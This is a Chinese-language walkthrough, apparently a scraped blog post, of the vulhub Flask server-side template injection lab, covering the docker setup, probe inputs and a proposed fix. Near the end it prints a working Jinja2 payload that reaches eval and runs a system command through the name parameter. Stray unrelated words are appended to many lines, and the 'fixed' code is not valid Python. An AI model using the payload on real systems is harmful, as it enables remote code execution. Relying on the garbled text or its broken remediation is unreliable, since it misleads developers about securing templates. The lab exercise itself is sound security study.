1.打開vulhub,進入到flask/ssti目錄下docker
2.對靶場進行編譯flask
docker-compose build
3.運行靶場瀏覽器
docker-compose up -d
4.移除環境app
docker-compose down
1.進入瀏覽器頁面,訪問127.0.0.1:8000,函數
docker ps // 查看端口號
2.查看源碼,測試
ls
cd src
ls
cat app.py
3.根據源碼可知,name爲用戶輸入字段,隨意輸入進行驗證,ui
核心語句:spa
t = Template("Hello " + name)
// 函數利用get獲取參數進入template,造成任意構造注入。
//Template()徹底可控,那麼就能夠直接寫入jinja2的模板語言。
驗證語句:.net
http://127.0.0.1:8000/?name=s1mpL3
http://127.0.0.1:8000/?name={{2*2}}
http://127.0.0.1:8000/?name={{'xiaojian'.upper()}}
修改後:3d
from flask import Flask, request from jinja2 import Template app = Flask(__name__) @app.route("/s1mpL3") def index(): name = request.args.get('name', 'guest') t = Template("Hello " + {{defense}}) return t.render(defense=name) if __name__ == "__main__": app.run()
此時能夠避免代碼注入。
官方POC - 獲取eval函數執行任意代碼測試:
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("id").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
執行:
http://127.0.0.1:8000/?name={% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("id").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}